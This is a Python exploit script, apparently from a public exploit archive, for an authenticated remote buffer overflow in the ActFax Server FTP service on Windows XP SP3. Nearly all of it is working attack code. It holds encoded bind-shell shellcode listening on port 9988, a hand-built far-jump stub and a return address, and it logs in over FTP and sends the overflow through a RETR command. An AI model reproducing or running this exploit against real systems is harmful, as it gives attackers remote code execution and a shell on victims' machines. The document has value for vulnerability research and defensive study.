ActFax Server FTP – (Authenticated) Remote Buffer Overflow
#!/usr/bin/python #----------------------------------------------------------------------------------- # Exploit Title: ActFax Server FTP Remote BOF (post auth) # Author: b33f - Ruben Boonen # Software Link: http://www.actfax.com/download/actfax_setup_en.exe # Tested on: Windows XP PRO SP3 (version 2002) - VMware Workstation #----------------------------------------------------------------------------------- # Credit goes to chap0 for discovering the bug. # Allot of thanks to PoURaN, for helping a n00b understand assembly better!!! #----------------------------------------------------------------------------------- import socket import sys print "\nActFax XP SP3 Pro..." print "Hunting for alphanumeric code!!\n" #----------------------------------------------------------------------------------- # payload => win32_bind LPORT=9988 Size=709 => Encoder=PexAlphaNum #----------------------------------------------------------------------------------- shellcode = ( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" "\x4e\x56\x46\x32\x46\x52\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47" "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" "\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x33\x4b\x38" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x55\x46\x42\x4a\x42\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x44" "\x4b\x58\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x43\x30\x4e\x52\x4b\x38" "\x49\x58\x4e\x56\x46\x42\x4e\x51\x41\x56\x43\x4c\x41\x33\x4b\x4d" "\x46\x46\x4b\x48\x43\x34\x42\x43\x4b\x48\x42\x44\x4e\x50\x4b\x38" "\x42\x47\x4e\x51\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x35\x4a\x56" "\x50\x38\x50\x54\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x36" "\x43\x35\x48\x36\x4a\x56\x43\x33\x44\x33\x4a\x46\x47\x47\x43\x47" "\x44\x33\x4f\x55\x46\x45\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" "\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x46\x44\x50" "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x55\x43\x45\x43\x55\x43\x44" "\x43\x35\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x47\x52" "\x46\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x59\x4a\x36\x46\x4a" "\x4c\x51\x42\x57\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x56\x42\x31" "\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x32" "\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" "\x4a\x56\x45\x4e\x49\x34\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d" "\x42\x35\x46\x55\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x39\x4a\x46" "\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x45\x4f\x4f\x48\x4d\x45\x55" "\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x46\x48\x36\x4a\x46\x43\x46" "\x4d\x56\x49\x38\x45\x4e\x4c\x46\x42\x45\x49\x35\x49\x42\x4e\x4c" "\x49\x58\x47\x4e\x4c\x46\x46\x44\x49\x38\x44\x4e\x41\x53\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x44\x4e\x32" "\x43\x59\x4d\x58\x4c\x57\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46" "\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x44\x4f\x4f" "\x48\x4d\x4b\x45\x47\x45\x44\x35\x41\x55\x41\x45\x41\x35\x4c\x56" "\x41\x30\x41\x45\x41\x55\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x56" "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x38\x47\x35\x4e\x4f" "\x43\x38\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" "\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x43\x35\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a") #----------------------------------------------------------------------------------- # ASCII encoded => Size=52 # Decoded opcode => E9DE140000 - JMP 0178D7A7 #----------------------------------------------------------------------------------- farjump = ( "\x25\x4A\x4D\x4E\x55" # AND EAX,554E4D4A "\x25\x35\x32\x31\x2A" # AND EAX,2A313235 "\x2D\x55\x55\x55\x5A" # SUB EAX,5A555555 "\x2D\x55\x55\x55\x5A" # SUB EAX,5A555555 "\x2D\x56\x55\x55\x5B" # SUB EAX,5B555556 "\x50" # PUSH EAX "\x25\x4A\x4D\x4E\x55" # AND EAX,554E4D4A "\x25\x35\x32\x31\x2A" # AND EAX,2A313235 "\x2D\x5D\x60\x4E\x55" # SUB EAX,554E605D "\x2D\x5D\x60\x4E\x55" # SUB EAX,554E605D "\x2D\x5D\x60\x4E\x55" # SUB EAX,554E605D "\x50" # PUSH EAX "\xEB\xC1") # JMP SHORT 0112CAE0 (back to the beginning of ESP, # ESP now points to our decoded far-jump). #----------------------------------------------------------------------------------- # # At crash time our buffer is copied several times into memory (some of these are # corrupt), so we write some fancy far-jump instruction in ESP. After this is # decoded in memory we jump to our nop bytes (i think 3de itteration of our buffer). # Ironically this doesn't even crash the program, only when you close the bind # shell connection does the program crash... # # jmp esp - user32.dll => 0x7E429353 #----------------------------------------------------------------------------------- buffer = "\x90"*41 + shellcode + "\x90"*23 + "\x53\x93\x42\x7E" + "\x90"*1 + farjump + "\x90"*175 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.1.71',21)) s.recv(1024) s.send('USER ' + 'b33f\r\n') print (s.recv(1024)) s.send('PASS b33f\r\n') print (s.recv(1024)) s.send('RETR ' + buffer + '\r\n') s.close |